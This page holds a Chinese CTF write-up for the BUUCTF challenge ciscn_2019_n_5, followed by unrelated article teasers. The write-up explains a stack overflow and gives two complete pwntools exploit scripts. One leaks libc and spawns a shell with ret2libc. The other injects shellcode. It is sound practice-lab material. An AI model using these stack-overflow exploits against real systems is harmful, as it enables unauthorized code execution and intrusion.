news 2026/7/14 20:37:24

buuctf中的ciscn_2019_n_5

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
buuctf中的ciscn_2019_n_5

首先checksec检查保护状态:

-64位程序

-几乎没有保护,但是是NX保护未知,后续需要验证

接下来使用IDA反汇编工具进行分析:

没发现任何后门函数,那么只能是注入shellcode或泄露libc,这里发现第一个read可以输入数据到name变量中,然后再在下面的gets函数利用栈溢出漏洞跳转到name函数地址来执行shellcode

想要注入shellcode这里得来验证一下name内存地址的权限:

-拿到name在bss段的地址

在gdb中输入vmmap 0x601080:

发现这段内存地址只有读写功能,不可执行,shellcode注入不可用

那么只剩libc泄露可用了,这里需要用到rdi和ret的地址,在linux终端输入以下指令:

ROPgadget --binary pwn --only "pop|ret"

ret地址:0x00000000004004c9,rdi地址:0x0000000000400713,其中ret用于栈对齐,rdi用于构造ROP链调用函数

然后再在IDA中拿到main函数地址:0x400636

基本信息拿完后就可以开始写exp攻击脚本了:

由于这里shellcode注入不可用,使用第一个read读取内容到name那里的那一行代码已经没有用处了,随便输入一个字符都行,接下来就是进行两次栈溢出,第一次将puts的地址泄露出来,配合LibcSearcher找到libc库,算出libc基址,然后得到system和/bin/sh地址,第二次栈溢出在注入system函数就可以拿到shell

from pwn import * from LibcSearcher import LibcSearcher context(arch='amd64', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',27399) # 与在线环境交互。 main_addr = 0x400636 rdi_addr = 0x400713 ret_addr = 0x4004c9 elf = ELF('./pwn') puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] io.sendlineafter(b'tell me your name\n',b'1') payload = b'a'*40 + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr) io.sendlineafter(b'What do you want to say to me?\n',payload) puts_addr = u64(io.recvline().strip().ljust(8,b'\x00')) print(hex(puts_addr)) libc = LibcSearcher('puts',puts_addr) libc_base = puts_addr - libc.dump('puts') system_addr = libc_base + libc.dump('system') bin_sh_addr = libc_base + libc.dump('str_bin_sh') io.sendlineafter(b'tell me your name\n',b'1') payload = b'a'*40 + p64(ret_addr) + p64(rdi_addr) + p64(bin_sh_addr) + p64(system_addr) io.recvuntil(b'What do you want to say to me?\n') io.sendline(payload) io.interactive()

这是运行结果:

这里需要手动选择libc库,64位程序就选择64位的libc库,这里有可能会选到不适配的libc,多选几次就可用了,最后拿到shell后输入cat flag拿到flag

最后,如果变量name的那段内存地址有执行权限的话exp会简单得多,这是代码:

基本思路就是在name的内存地址中注入shellcode,然后再跳转到变量name那段内存地址中执行shellcode

from pwn import * context(arch='amd64', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',27399) # 与在线环境交互。 aim_addr = 0x601080 shellcode = asm(shellcraft.sh()) io.recvuntil(b'tell me your name\n') io.sendline(shellcode) io.recvuntil(b'What do you want to say to me?\n') payload = b'a'*40 + p64(aim_addr) io.sendline(payload) io.interactive()
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/13 10:10:46

AndroidAutoSize:终极屏幕适配框架完全指南

在Android开发中,屏幕适配一直是开发者面临的重大挑战。不同设备的分辨率、尺寸和密度差异使得界面布局难以统一。AndroidAutoSize作为基于先进屏幕适配方案的终极版本,提供了一个极低成本的Android屏幕适配解决方案,让开发者能够轻松应对各种…

作者头像 李华
网站建设 2026/7/12 23:19:46

5步掌握脑网络分析:从fMRI数据到网络拓扑的完整指南

5步掌握脑网络分析:从fMRI数据到网络拓扑的完整指南 【免费下载链接】GRETNA A Graph-theoretical Network Analysis Toolkit in MATLAB 项目地址: https://gitcode.com/gh_mirrors/gr/GRETNA 您是否曾经面对海量的fMRI数据感到无从下手?想要进行…

作者头像 李华
网站建设 2026/7/13 6:54:52

10个AI论文工具,专科生轻松搞定毕业论文!

10个AI论文工具,专科生轻松搞定毕业论文! AI 工具如何改变论文写作的未来 随着人工智能技术的不断进步,越来越多的专科生开始借助 AI 工具来完成毕业论文的撰写。这些工具不仅能够帮助学生快速生成初稿、优化内容结构,还能在降低 …

作者头像 李华
网站建设 2026/7/14 3:39:16

胰尾癌被判“只剩3到6个月”,6年后他每天走2万步、举重150斤

“运气好一点,6个月;运气不好,3个月。”这是2019年6月,64岁的朱建德从浙江省第二人民医院副院长口中听到的生存期预判。彼时,他刚被确诊为胰尾癌多发转移,癌细胞已扩散至6处,且肿瘤包裹血管无法手术&#x…

作者头像 李华
网站建设 2026/7/13 19:20:50

震惊!这家酶制剂厂家竟让同行集体沉默!

震惊!这家酶制剂厂家竟让同行集体沉默!在竞争日趋白热化的生物技术领域,酶制剂行业向来是技术壁垒高、创新迭代快的角力场。然而,近期行业内出现了一个引人瞩目的现象:一家企业的技术突破与市场策略,竟让众…

作者头像 李华
网站建设 2026/7/14 13:27:42

操作教程丨通过1Panel快速安装Zabbix,搭建企业级监控系统

Zabbix是一款企业级开源分布式监控解决方案,主要用于监控网络设备、服务器、服务及其他IT资源的性能和可用性。Zabbix的常用部署方式是通过命令行部署,用户需要在命令行窗口中手动配置环境依赖、数据库及端口,步骤繁琐且容易出错,…

作者头像 李华